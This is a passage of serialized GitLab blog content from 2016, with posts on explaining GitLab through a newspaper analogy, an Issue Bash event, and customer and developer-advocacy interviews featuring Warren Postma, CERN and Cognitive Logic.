Production](https://about.gitlab.com/images/blogimages/idea-to-production.png)\n\nIn GitLab, we start with an Idea (the main article that everyone will work on), then break it up into Issues (each team member’s tasks). To help us plan, we have an Issue Board to organize Issues into order of priority, just as the journalists had to work out how they were going to approach their tasks in amongst the other articles they are working on. To make sure we don’t overwrite each other’s work, we make our own ‘photocopies’ of the original idea: we call these Branches.\n\nThen, we code! This is like that first draft of my contribution to the story. When the code is ready, we Commit it, like a final draft. The sub-editor checking the work before updating the article is part of what we call Continuous Integration – a system by which the project is updated throughout the day, and those updates are automatically, continually checked for any problems. When I ask the editor to approve my contribution, we do this in the form of a Merge Request, and when that’s been approved, we can preview the changes in Staging, just like the newspaper team did with the mock-up of the page. If everything looks good, it goes into Production, the equivalent of going off to the printers.\n\nThe last stage of the cycle is feedback: our ‘reader letters’ might be comments from colleagues or users, or data from analytics, and we use it to make sure we’re always improving. If there’s something we can change immediately, Continuous Deployment ensures the project is always up to date (like the newspaper’s website can show a change or addition to an article right away), and other feedback is used to do better next time.\n\nImage: \"[The Deptford Project — Newspaper](https://www.flickr.com/photos/eivind1983/4703991995/in/gallery-94794587@N03-72157635294619645/)\" by [Eivind Z. Molvær](https://www.flickr.com/photos/eivind1983/) is licensed under [CC BY 2.0](https://creativecommons.org/licenses/by/2.0/)\n",{"slug":36928,"featured":6,"template":678},"how-to-explain-gitlab-to-anyone","content:en-us:blog:how-to-explain-gitlab-to-anyone.yml","How To Explain Gitlab To Anyone","en-us/blog/how-to-explain-gitlab-to-anyone.yml","en-us/blog/how-to-explain-gitlab-to-anyone",{"_path":36934,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36935,"content":36941,"config":36945,"_id":36947,"_type":16,"title":36948,"_source":17,"_file":36949,"_stem":36950,"_extension":20},"/en-us/blog/join-our-december-issue-bash",{"title":36936,"description":36937,"ogTitle":36936,"ogDescription":36937,"noIndex":6,"ogImage":36938,"ogUrl":36939,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36939,"schema":36940},"Join our December Issue Bash","We’re on a mission to blitz GitLab’s open issues and we need your help!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684134/Blog/Hero%20Images/issue-bash.jpg","https://about.gitlab.com/blog/join-our-december-issue-bash","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Join our December Issue Bash\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"}],\n        \"datePublished\": \"2016-11-28\",\n      }",{"title":36936,"description":36937,"authors":36942,"heroImage":36938,"date":36943,"body":36944,"category":299},[19026],"2016-11-28","\n\nJoin us for an all-weekend Issue Bash on 3-4 December and you could walk away with a [Pocket CHIP](https://getchip.com/pages/pocketchip) – we're giving away two! Two Raspberry Pis and 10 GitLab T-shirts are also up for grabs.\n\nThere are currently over 5000 open issues on GitLab CE! We have over 1400 GitLab contributors, and we want everyone to be able to find issues to work on. Part of that means streamlining our issue tracker: culling duplicate issues, categorizing unlabelled issues and tackling bugs.\n\n\u003C!-- more -->\n\nOur last Bug Bash helped us squash 80 bugs, let’s see what we can do this time!\n\n## When is it?\n\nIt all kicks off at 00:01 UTC on Saturday, 3 December and will run until 23:59 UTC on Sunday, 4 December.\n\n## How can you get involved?\n\nHelp us close issues: identify duplicate issues so a team member can close them\n\nInvestigate bugs: attempt to reproduce labeled bugs in a test project on GitLab.com\n\nFix bugs: close bug issues once and for all\n\nCategorize existing issues: provide a suitable label for uncategorized issues\n\nCheck out the [2016 GitLab-ce Issue Bash Proposal](https://gitlab.com/gitlab-org/gitlab-ce/issues/17815) to find out how to get started. To be considered for a prize you need at least one contribution accepted by the time GitLab 8.15 releases on 22 December. Prizes will be drawn at random.\n\n## Who can take part?\n\nThis is a chance for anyone in the GitLab community to get involved, even if you don’t have technical experience. Some of the tasks above, like categorizing issues or spotting duplicates, are ideal for non-technical community members and are definitely prize-worthy!\n\n## Questions? More info?\n\nGitLab team-members [@markglenfletcher](https://gitlab.com/markglenfletcher) [@ClemMakesApps](https://gitlab.com/ClemMakesApps) [@haynes](https://gitlab.com/haynes) [@axil](https://gitlab.com/axil) [@afolson](https://gitlab.com/afolson) will be on hand to answer questions and close issues.\n\nImage: \"[Smash](https://www.flickr.com/photos/schatz/3893795729)\" by [Richard Schatzberger](https://www.flickr.com/photos/schatz/) is licensed under [CC BY-SA 2.0](https://creativecommons.org/licenses/by-sa/2.0/#)\n",{"slug":36946,"featured":6,"template":678},"join-our-december-issue-bash","content:en-us:blog:join-our-december-issue-bash.yml","Join Our December Issue Bash","en-us/blog/join-our-december-issue-bash.yml","en-us/blog/join-our-december-issue-bash",{"_path":36952,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36953,"content":36959,"config":36963,"_id":36965,"_type":16,"title":36966,"_source":17,"_file":36967,"_stem":36968,"_extension":20},"/en-us/blog/gitlab-is-a-slam-dunk",{"title":36954,"description":36955,"ogTitle":36954,"ogDescription":36955,"noIndex":6,"ogImage":36956,"ogUrl":36957,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36957,"schema":36958},"'GitLab is a slam dunk': One team lead weighs his options","Developer Warren Postma shares his opinions on VCS, after years of trying out all the alternatives.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663798/Blog/Hero%20Images/gitlab-is-a-slam-dunk.jpg","https://about.gitlab.com/blog/gitlab-is-a-slam-dunk","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"'GitLab is a slam dunk': One team lead weighs his options\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emily von Hoffmann\"}],\n        \"datePublished\": \"2016-11-27\",\n      }",{"title":36954,"description":36955,"authors":36960,"heroImage":36956,"date":36961,"body":36962,"category":734},[22017],"2016-11-27","\nWarren Postma is a team lead and \"de facto DevOps guy\" at [RamSoft](https://www.ramsoft.com/), but like so many he's gotten hooked on [contributing](https://gitlab.com/warren.postma) to GitLab in his spare time. After becoming familiar with GitHub, Atlassian, and Mercurial in previous jobs, he felt strongly that Git and GitLab were the best choice for his current team. Since reaching that conclusion, he's also assisted his peers and former colleagues in their switch to GitLab, so I wanted to hear his opinions - they're both strong and numerous, which made for a fun conversation.\n\n\u003C!--more-->\n\nHere are some highlights:\n* In a team distributed across timezones and languages, the decentralized nature of Git and GitLab is a huge win.\n* If you pair people for code review who are in the same timezone, you can prevent having merge requests stay open for days or weeks.\n* When switching to GitLab CI, the biggest barrier is training and removing ingrained habits - especially if people are also new to Git.\n\n**Can you briefly describe the kinds of projects you use GitLab for?**\n{: .alert .alert-info}\n\n**Warren:** I use it for both personal projects and for my job. I switched a team at a small healthcare company from Subversion to Git, taught some of the team members their first steps in Git, and I switched from preferring Mercurial (another DVCS) to preferring Git, chiefly because I really like GitLab. There is nothing like GitLab for Mercurial although there is a project called RhodeCode and its fork Kallithea that comes close.  I spun up our private GitLab instance and taught our IT people how to maintain it (not hard really).\n\nI also have counseled other people to switch to GitLab, and I'm generally most active in doing so among peers. I know a guy who runs a small software company and I'm helping him switch his team over to GitLab. It feels like I could be finding my niche.\n\n**What is the makeup of your team at RamSoft, and what is your workflow like?**\n{: .alert .alert-info}\n\n**Warren:** Our workflow and culture is evolving rapidly. My team is multi-cultural, multi-language, multi-everything, in multiple physical sites.  One part of our team is in Toronto, another part is in Vietnam. The decentralized nature of Git and GitLab is a major win for us. We have two merge request (MR) pipelines. We have all Toronto devs code-review via MR with someone in the same timezone because our MRs should be short-lived MRs, reviewed and merged quickly.  We don't have MRs that stay open for days or weeks.  We don't use WIP much yet, but I am starting to advocate for WIP merge requests for collaborative feature development. Since we're in the same office, we can mostly work in pairs when our work requires it. GitLab provides a history of our work, and our reviews, and MRs are like a project history.\n\n**How did you decide to get started with GitLab?**\n{: .alert .alert-info}\n\n**Warren:** It was easy, I chose Ubuntu (I can't remember if it was 12 or 14) LTS and it was around GitLab 8.0, September 2015 or so, and I simply copied the installation commands from the website and pasted it into terminal.  I needed a bit of help from my IT guy to set up LDAP to our ActiveDirectory, and we were good.\nOur company is 99% composed of Windows-only technical people, I'm a Linux guy working in a Windows company.  I'd say that in many companies this is a significant barrier to getting up and running.  If I could suggest something, it would be to provide a Hyper-V and a VMWare image of a working private GitLab, which can be downloaded and run by anyone. I think that should be done in-house as opposed to via Bitnami. I have used Bitnami products, and I have nothing against them, but I see the opportunity for GitLab to provide technical support even to smaller corporations as a significant opportunity to GitLab, that it should be taking on.\n\n**Is there anything you feel you can do in GitLab that you can't do with other tools?**\n{: .alert .alert-info}\n\n**Warren:** GitLab is about integration of tools. I don't want to set everything up separately. GitLab provides an all-in-one version control server, bug tracker (issues), kanban board (issues in progress, completed, in production), merge request handling (code reviews). All those tools exist in many flavors, but none so well integrated, and I can self-host.\n\nYour closest competitor is Bitbucket, in my opinion, which can be run privately but the private Bitbucket is closed-source I believe, and you can't get it for free, so GitLab CE is really without peer. Since I don't work in very large companies, GitLab EE is something I haven't spent much time on, but I can see that even a serious small company might want to buy GitLab EE because having support is a major feature. If I wasn't working at my current company, the level of Linux knowledge in house would take a major dive, and they'd probably want to buy a support contract to fix their GitLab if it went down, or help diagnose major issues.\n\nPrivately Hosted (on my computer or VM) + Free + OpenSource = Made of Win. I can't see choosing anything else. I see GitHub as problematic, something I [blogged about]( http://linuxcodemonkey.blogspot.ca/2016/11/gitlab-all-things.html)\n\n**What is the main reason you would recommend GitLab to another dev?**\n{: .alert .alert-info}\n\n**Warren:** Once the choice is made to use Git, to me, GitLab is a slam dunk decision. Software companies, whether small, medium, or large, and even single developers who are professionals who get paid, should be hosting their own in-house GitLab, and perhaps having that back up to some off-site repo (say Bitbucket or GitLab.com). Single developers could be quite happy with Bitbucket also. I happen to still love Bitbucket, but happen to distrust GitHub. I only use GitHub when I have to use it, which is to make MRs to projects that are on GitHub.\n\nPeople who I have talked to, and I have even given presentations to people at user groups, are usually interested in GitLab because:\n\n1. It lets you host your own private Git server.\n2. It has a pretty impressive set of features, issue tracking, merge request handling, and [continuous integration server](https://about.gitlab.com/topics/ci-cd/continuous-integration-server/) built in.\n\nI am working on a community blog post on switching a small healthcare software company from Jenkins to GitLab CI. So far, I have found that the only difficulty is in training team members. Moving ingrained practices and working against ingrained tendencies is the hardest thing. We previously had a single-branch trunk-based monorepo culture, and switching to Git, to me, was only sensible if we changed our practices to work how Git is meant to be used.\n\nA pet peeve of mine can be summed up in the saying \"When all you have is a hammer, everything looks like a nail.\" In the world of Subversion and Git, what I see over and over is people who take a 10 - 50 GiB Subversion monorepo and then just \"import all 50 GiB, and all 500,000 svn commit revs into Git\". They are seldom impressed with the results of this, and it seldom occurs to them to question their initial preconception that this was the right and obvious way to move from SVN to Git. I am not sure if there exists a comprehensive re-education plan for Subversion users, but I think perhaps I should write one. There was a start towards this when Joel Spolsky tried something called \"[hginit.com](http://hginit.com/)\", retraining Subversion victims in how to work with Mercurial. A similar practice for corporate teams moving from Subversion to Git would be a great educational resource that I think GitLab could provide. Some pretty good material in that vein is already on the internet and is provided by Atlassian, as part of their Bitbucket docs.\n\nIn terms of companies and products that I consider to be almost \"peers\" of GitLab, perhaps Bitbucket is closest. I prefer GitLab because the product is open source, the people are great, and the growing community around GitLab is also great. Oh and the product is growing at a fantastic pace. Just watching it from mid 2015 to today, the pace of innovation has been boggling. I have also collaborated with GitLab community members to create add-ons and tools. One guy made a Python-based tool that uses the GitLab API to [expire and delete old artifacts](https://github.com/JonathonReinhart/gitlab-artifact-cleanup) *site-wide*. Another guy made a Go-based tool that copies Issues and Issue labels from one project to another. All great plugins from the community!\n\n_If your team uses GitLab and is interested in sharing your story, please fill out this [form]( https://docs.google.com/a/gitlab.com/forms/d/1K8ZTS1QvSSPos6mVh1ol8ZyagInYctX3fb9eglzeK70/edit)  and we’ll get in touch!_\n\n_Follow Warren on [Twitter](https://twitter.com/warrenpostma)_\n\n_Tweet [@GitLab](https://twitter.com/gitlab) and check out our [job openings](/jobs/)._\n",{"slug":36964,"featured":6,"template":678},"gitlab-is-a-slam-dunk","content:en-us:blog:gitlab-is-a-slam-dunk.yml","Gitlab Is A Slam Dunk","en-us/blog/gitlab-is-a-slam-dunk.yml","en-us/blog/gitlab-is-a-slam-dunk",{"_path":36970,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36971,"content":36976,"config":36980,"_id":36982,"_type":16,"title":36983,"_source":17,"_file":36984,"_stem":36985,"_extension":20},"/en-us/blog/gitlab-adoption-growing-at-cern",{"title":36972,"description":36973,"ogTitle":36972,"ogDescription":36973,"noIndex":6,"ogImage":31784,"ogUrl":36974,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36974,"schema":36975},"Customer Story: GitLab adoption growing at CERN","CERN, the European Organization for Nuclear Research, is increasingly using GitLab to host software projects and code for configuration management.","https://about.gitlab.com/blog/gitlab-adoption-growing-at-cern","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Customer Story: GitLab adoption growing at CERN\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emily von Hoffmann\"}],\n        \"datePublished\": \"2016-11-23\",\n      }",{"title":36972,"description":36973,"authors":36977,"heroImage":31784,"date":36978,"body":36979,"category":299},[22017],"2016-11-23","\n\nCERN, the European Organization for Nuclear Research, is the world's largest particle physics lab. They are well known for creating [the world’s first website](http://home.cern/topics/birth-web), hosted on Tim Berners-Lee’s computer.\n\n[GitLab]() is one of the platforms CERN uses to host software projects and code for configuration management. CERN has about 2500 active developers using GitLab. While most GitLab users at CERN are located in France and Switzerland around Geneva, they also have a community of scientists working from their home institutes in their various member states.\n\n\u003C!-- more -->\n\nKey projects include the software frameworks and libraries for the experiments conducted at CERN. Some of them are hosted on CERN's GitLab instance.\nPublic projects in this category include for instance [Gaudi](https://gitlab.cern.ch/gaudi/Gaudi) an open project for providing the necessary interfaces and services for building HEP experiment frameworks.\nThey are also using GitLab more and more for [Continuous Integration](/solutions/continuous-integration/) tasks.\n\n### Why Did CERN Choose GitLab?\n\nAlexandre Lossent, Service Manager for the version control systems at CERN, explained that part of their user community has a preference for open source software; GitLab was also cheaper than other alternatives.\n\nThe most significant benefit is probably how easy GitLab makes it to create a project and start working. Lossent said, “We had more than 2,000 projects in a few months, a very fast adoption rate compared to our other code hosting platforms.”\n\nHe has also found that the internal adoption of GitLab is spreading throughout CERN. He said, “While we are not yet actively asking users to move their projects to GitLab, many are attracted by GitLab's features and move proactively.”\n\nNot only are they an active team of users, they have also offered contributions. Lossent contributed the [SAML code](/blog/feature-highlight-saml/) they wrote for their own usage, and earned an [MVP recognition](/community/mvp/) in June 2015. Thanks to their effort, GitLab can be configured to act as a [SAML](https://docs.gitlab.com/ee/integration/saml.html) 2.0 Service Provider, [since release 7.12](/releases/2015/06/22/gitlab-7-12-released/). For this reason, the advantage of an open source code base management tool is clear.\n\n_Tweet [@GitLab](https://twitter.com/gitlab) and check out our [job openings](/jobs/)._\n\nImage: \"[Views of the LHC tunnel sector 3-4 - CERN-AC-0910152-02](http://cds.cern.ch/record/1211045?ln=en)\" by [CERN](http://home.cern/) is licensed under [CC BY-SA 4.0](https://creativecommons.org/licenses/by-sa/4.0/)\n",{"slug":36981,"featured":6,"template":678},"gitlab-adoption-growing-at-cern","content:en-us:blog:gitlab-adoption-growing-at-cern.yml","Gitlab Adoption Growing At Cern","en-us/blog/gitlab-adoption-growing-at-cern.yml","en-us/blog/gitlab-adoption-growing-at-cern",{"_path":36987,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36988,"content":36994,"config":36997,"_id":36999,"_type":16,"title":37000,"_source":17,"_file":37001,"_stem":37002,"_extension":20},"/en-us/blog/how-to-build-a-strong-dev-community",{"title":36989,"description":36990,"ogTitle":36989,"ogDescription":36990,"noIndex":6,"ogImage":36991,"ogUrl":36992,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36992,"schema":36993},"How to build a strong developer community","Our developer advocate Amanda Folson shares some community building tips with Jasmine Anteunis, co-founder of startup Recast.ai","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670726/Blog/Hero%20Images/how-to-build-a-strong-developer-community.jpg","https://about.gitlab.com/blog/how-to-build-a-strong-dev-community","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to build a strong developer community\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emily von Hoffmann\"}],\n        \"datePublished\": \"2016-11-23\",\n      }",{"title":36989,"description":36990,"authors":36995,"heroImage":36991,"date":36978,"body":36996,"category":813},[22017],"\nAfter meeting at Web Summit 2016, GitLab developer advocate [Amanda Folson](https://twitter.com/AmbassadorAwsum) sat down with Jasmine Anteunis of [Recast.ai](https://recast.ai/) to chat about how GitLab approaches community-building, including a deep dive on developer advocacy.\n\n\u003C!--more-->\n\nSome key takeaways include:\n\n* Public speaking is only one facet of [dev advocacy](/handbook/marketing/developer-relations/developer-evangelism/); nurturing communities is the most important thing.\n* It’s important that dev advocates aren’t just additional sales people. They should seek to be genuinely helpful for developers’ education and experience.\n* For people who happily use a competitor’s product, dev advocates should have a ready value proposition for whomever they’re speaking with (e.g. developer or manager).\n* It’s tough to put metrics to events, but you can develop “fuzzy metrics” like event attendees or traffic to certain site pages over time.\n\n**Jasmine: What exactly do developer advocates do?**\n{: .alert .alert-info}\n\n**Amanda:** It really depends on your product. The universal thing is finding out where the developers actually are, which is harder than it sounds sometimes. They may be hanging out in specific communities – we found out we have a lot of people in the JavaScript community, we’re starting to see more people in the PHP community, and we get a lot of attention in the [devops space](/topics/devops/) as well. I generally call ours the ‘spray and pray’ approach since developer relations is relatively new here. I’ll submit talks to a bunch of events, we’ll sponsor a few things, just to kind of see where we fit in and the kind of feedback we get. Public speaking is the most discussed facet of dev advocacy, but it’s only one of many. I spend a lot of time responding to people on Twitter – people ask me things or hit me up for stickers and our tanuki t-shirts.\n\nOnce you find developers, you want to work on nurturing those communities in any way you can, so we also do a lot of developer education stuff. I’m working with people in the PHP community to help solve their problems, but not necessarily in a way that means GitLab is the answer. I just gave a talk about scheduling on-call rotations to help prevent burnout, which has nothing to do with GitLab directly, but it provides a window to talk about things that are affecting developers.\n\n**Jasmine: So how does developer relations interact with the sales process?**\n{: .alert .alert-info}\n\n**Amanda:** I don’t ever want to approach developers like I’m selling something to them. The focus instead is to educate them and add value on something else, because it helps build a good relationship. Developers don’t really respond well to traditional marketing and sales. My job is really developer happiness. That means that I’m rarely selling them on GitLab itself, I’m finding something else that might meet their needs, so I need to have an understanding of that competitive analysis and be willing to speak frankly with them about it. The product marketing and content teams do a lot of things to take care of the buzz and lead generation. That works pretty well, because it’s not coming from a developer but developers still pay attention to it. And at events, if I’m talking to someone who starts asking pre-sales questions, I find a sales team member and bring them over.\n\n**Jasmine: How do you talk to people in the community who already use a competitor of yours, especially if they seem happy with that competitor?**\n{: .alert .alert-info}\n\n**Amanda:** We have value propositions that we give to explain why it’s better to use GitLab; this really depends on exactly whom you’re speaking with. If we’re talking to a manager then we talk to them about pricing and how GitLab might help their team perform better. We have a whole series of tools with messaging framed around each specific use case.\n\nFor developers, we talk about how we can help solve their problems. So, for example, GitHub has this issue where you kind of piece together your own experience. If you want to do testing, you have to bring in a secondary service like Jenkins or CircleCI or something. Or if you want to do issue tracking, previously they didn’t have any sort of issue board, and people had to bring in something like Trello. Because you had to go to all these secondary services to make GitHub work for you, our value proposition there is, “You don’t have to do that with GitLab.” We have all that stuff included; you need private repositories, great, GitLab.com is fine for you even if you want to run your unit tests and things like that.\n\n**Jasmine: If I talk to my CEO and have to make a plan for the next month for how to attract developers and keep them happy, how do I measure which actions are really impactful? For instance, how do I prove that networking with a few people at an event is worth the time spent?**\n{: .alert .alert-info}\n\n**Amanda:** That’s actually the million dollar question in developer relations, because it’s really hard to attach dollars to individual actions. You can do a lot with what we call “fuzzy metrics” because you’re not going to figure out the ROI of something like chatting with people at an event, but you can get a better sense of how you’re doing overall. For example, we look at the number of people who attend an event or your talk at a bigger event. That’s a fuzzy metric but it tells you something about your reputation in a community. For example, if you’re at a 3,000 person event, and only two people show up to your talk, then maybe you need to work on building up your reputation in that community. But, if 500 people at that 3,000 person event show up for your talk, then you’re doing pretty well. Similarly, if you spent $5,000 sending people and setting up a booth, but you land a $250,000 account, that was a great event for you.\n\nI like to put links to content in various places in my slides, and you can see how many people actually visit and click through. So for example, we had 50 people attend this talk and 70 people clicked this link, that means people probably shared it. We look a lot on social media as well – if we see a lot of unhappy people then we work on that; if we see a lot of happy people then that’s great feedback too. We also look at traffic over time to different things, like the forums or even different parts of the website. You might create a landing page for developers or some developer education topic, and you want to see that trend upward over time of course.\n\n**Jasmine: We are a small team, and our developers are also our support team and developer relations team. How does it work when support, developers, and dev relations are separate teams?**\n{: .alert .alert-info}\n\n**Amanda:**  There are a few ways this can work. Our support team now primarily takes care of our enterprise customers. They became too busy to respond to questions on social media, and our developer advocates also had a hard time managing questions from the broader community because we travel all the time for events. I have a personal policy of not having my head down in my laptop constantly at events, because I want to be free to talk to people while I’m there.\n\nSo we created a [community advocacy team](/handbook/marketing/developer-relations/developer-evangelism/). They do a lot of community management things like responding to people on the forum and on social media. The [interview process](/handbook/hiring/#sts=Interviewing) for that is very similar to the process for support; they need to have experience with Ruby, they need to be pretty technical, we like them to have some development experience. It has been a learning experience, but that’s how we tackled it.\n\n**Jasmine: If you had to choose, would you say it’s more important to devote resources to online engagement or to attending and sponsoring “real” events?**\n{: .alert .alert-info}\n\n**Amanda:**  The best approach is to do both, because one way is enterprise focused and the other is more grassroots focused. Enterprise includes large companies that might be willing to give you a lot of money, so you definitely want to be paying attention to them. The grassroots-focused events might be language specific, like PHP conferences and meetup groups. The enterprise group tends to respond more to the blog, press releases, and traditional marketing and sales stuff. Grassroots community members, on the other hand, appreciate the much more technical content; we’ve done a lot of posts on “Here’s how you use GitLab CI utility to run your tests and deploy your code.” The technical audience really responds to stuff like that, they also really like when someone is paying attention to them on the forum and online. If you had to pick one, you can get to both of those groups online. Ideally you would do both though, because it helps people to put a face to the name.\n\n**Jasmine: How do you recognize users who are influencers in your community? How do you identify them and make sure to keep them happy?**\n{: .alert .alert-info}\n\n**Amanda:**  We’re working on making this a bigger part of our strategy in 2017, but right now we recognize people who contribute a lot. Contributions come in various forms, but we have a [Hall of Fame](/community/mvp/) where we list the MVP from each release, along with people who contribute the most per month, for example. We actually tend to hire a lot of people who end up on that list, I think all of the top 20 now work at GitLab. We also pay attention to people who help out on the forum a lot, and people who don’t work for us but respond to questions on Stack Overflow and Twitter. We like rewarding people who boost the signal a little bit, we try to say thanks or send them swag, or we invite them to our Summit meeting. There’s no threshold for number of contributions, because it also depends on the nature of the contribution.\n\nUltimately we’ll create a group of ambassadors who want to talk about GitLab, at local meetup groups for example. We’re trying to create a system for sending them materials to help them get started. We’d like them to become developer advocates of a sort, in a way putting myself out of a job. We’re not paying them, they’re just doing it because they’re really passionate about the technology, which adds a bit of authenticity because they really care about what we’re doing.\n\n**Jasmine: What’s one last big tip you might give me?**\n{: .alert .alert-info}\n\n**Amanda:** Keep tabs on what’s going on in the broader tech community - I look at Hacker News a lot, and Reddit and Twitter as well. Definitely keep track of what people are talking about; this helps you strike up conversations at events and gives you a little bit of developer cred as well. If you’re a developer at all, then keep those skills sharp. Over the past three years I stopped really shipping code and I feel like it’s been detrimental. One of my goals for 2017 is to write more code so I can stay in the weeds in conversations. You’ll get lots of language-specific questions across the whole spectrum, so ideally you’ll be somewhat familiar with Ruby, JavaScript, golang, and PHP, and at least be willing to go look for the answers when you get questions. That’s where it helps to have a great network of people – I know people in the community who I can poke when I don’t know the answer to something and ask for help. So keep those skills up and look out for the next trend in technology; that way you can be ready to predict where developers are headed next.\n\n_Recast.AI is a french artificial intelligence startup focusing on conversational interfaces. Built on a strong language processing technology, Recast.AI allows developers to easily create their own bots through a collaborative platform and API._\n\n_Follow [Recast.ai](https://twitter.com/recastai) on Twitter._\n\n_Tweet [@GitLab](https://twitter.com/gitlab) and check out our [job openings](/jobs/)._\n",{"slug":36998,"featured":6,"template":678},"how-to-build-a-strong-dev-community","content:en-us:blog:how-to-build-a-strong-dev-community.yml","How To Build A Strong Dev Community","en-us/blog/how-to-build-a-strong-dev-community.yml","en-us/blog/how-to-build-a-strong-dev-community",{"_path":37004,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37005,"content":37010,"config":37014,"_id":37016,"_type":16,"title":37017,"_source":17,"_file":37018,"_stem":37019,"_extension":20},"/en-us/blog/cognitive-logic-talks-migrating-to-gitlab",{"title":37006,"description":37007,"ogTitle":37006,"ogDescription":37007,"noIndex":6,"ogImage":12322,"ogUrl":37008,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37008,"schema":37009},"Customer Story: Data startup Cognitive Logic talks migrating to GitLab","Data analytics startup Cognitive Logic helps companies store, share, and examine consumer information without compromising security.","https://about.gitlab.com/blog/cognitive-logic-talks-migrating-to-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Customer Story: Data startup Cognitive Logic talks migrating to GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emily von Hoffmann\"}],\n        \"datePublished\": \"2016-11-22\",\n      }",{"title":37006,"description":37007,"authors":37011,"heroImage":12322,"date":37012,"body":37013,"category":299},[22017],"2016-11-22","\n\nData analytics startup [Cognitive Logic](http://www.cognitivelogic.com/) helps companies store, share, and examine consumer information without compromising security. I sat down with engineer Johan Brandhorst to learn more about his team, their work, and how GitLab helps.\n\nThree of our offerings in particular drove Cognitive Logic's decision to switch to GitLab:\n\n* Validated Merge Requests\n* Easily Configurable CI\n* Easy migration from GitHub\n\n\u003C!--more-->\n\nJohan also told me that his team's biggest challenge with GitLab is that it can be difficult to orchestrate CI between repositories; he says they're looking forward to being able to chain testing between repositories. A fix is in the works - in typical fashion, minutes after I posted his query on Slack our Head of Product, [Mark Pundsack](https://twitter.com/MarkPundsack), wrote back that we have [existing functionality](https://docs.gitlab.com/ee/ci/triggers/) that allows one pipeline to trigger another pipeline in a different project. There are also several [issues](https://gitlab.com/gitlab-org/gitlab-ee/issues/933) open to make this better.\n\n**Could you please explain for our readers what the dev team at Cognitive Logic does? What kinds of projects do you work on?**\n{: .alert .alert-info}\n\n**Johan:** We’re working on connecting large datasets while maintaining customer privacy. Our platform is built on docker and golang microservices with a React/node.js frontend. We use gRPC for communications between services and protobuffers for backwards compatible messages. We maintain a container for our build environment and compile static binaries which can be run in a minimal docker container. The whole system runs on a cloud service provider.\n\n**You currently have 10 devs using GitLab — could you elaborate on the makeup of the team, and what your workflow is like?**\n{: .alert .alert-info}\n\n**Johan:** We have a high focus on engineering; engineers have control over what they want to work on and what they consider the most important to work on at the time. As an engineer, it’s a very liberating and enjoyable experience. We maintain a startup culture with a pool table, a couple of consoles in the meeting room with a 4K TV, board games and company events every now and then. It’s a great place to work (we’re hiring!).\n\nWe try to raise issues when features or bugs arise, then triage in a branch, submit a merge request, have it approved by another engineer before being merged back into master. Validated merge requests means we’re not afraid of merging straight into master as we try to do as much testing and validation as possible at merge request time. In the future we are going to try to set up staging environments and merge request environments for complete system validation at merge request time.\n\n**Which features or capabilities of GitLab has your team used the most? Is there anything you feel you can do with GitLab that you can't accomplish with other tools?**\n{: .alert .alert-info}\n\n**Johan:** Definitely the validated merge request system. It has helped us ensure consistently passing tests and linting tools to maintain the quality of the codebase. The GitLab docker registry has also been very useful for storing the output of our builds and provide a central point from which to fetch those builds.\n\n**What were the major problems you were trying to solve with your previous version control system, if you used one?**\n{: .alert .alert-info}\n\n**Johan:** We were using Github for VCS before moving to GitLab earlier this year. I came from a company where we had rolled our own CI solution while running our own VCS server and I knew how much time it takes to run a system like that reliably, so when I started at Cognitive Logic I was conscious about trying to make good choices for VCS early on. This lead me to look at GitLab as I wanted something with easy CI and validated merge request capabilities to ensure maintained code quality. GitLab was perfect in this regard and we made the switch from Github.com to GitLab.com about 6 months ago. The major difference between GitLab and Github was the easily configurable CI.\n\n**How have developers responded to migrating to GitLab? Have there been any unforeseen challenges or obstacles?**\n{: .alert .alert-info}\n\n**Johan:** We started the migration process quite early so there wasn’t much work to be done. I used the “import from Github” tool to get our repositories up and running on GitLab, and it imported all our issues and merge requests without problems. For the developers it took a little getting used to, but being able to sign up with your Google or Github account helped. There hasn’t been any real problems with our transition to GitLab, I’d consider the features of GitLab to be a superset of those available on GitHub, so it was all positive. The currently biggest problem with GitLab to us is that it can be difficult to orchestrate CI between repositories. We would like to be able to chain testing between repositories so that a change in one repo can automatically trigger a merge request in another repo (complete with testing). I know this kind of solution is being worked on and we’re eager to see what the team can deliver.\n\n*If your team uses GitLab and is interested in sharing your story, please fill out this [form]( https://docs.google.com/a/gitlab.com/forms/d/1K8ZTS1QvSSPos6mVh1ol8ZyagInYctX3fb9eglzeK70/edit)  and we’ll get in touch!*\n\n_Read more about [Cognitive Logic](http://www.cognitivelogic.com/), and follow them on [Twitter](https://twitter.com/cognitivelogic)._\n\n_Tweet [@GitLab](https://twitter.com/gitlab) and check out our [job openings](/jobs/)._\n",{"slug":37015,"featured":6,"template":678},"cognitive-logic-talks-migrating-to-gitlab","content:en-us:blog:cognitive-logic-talks-migrating-to-gitlab.yml","Cognitive Logic Talks Migrating To 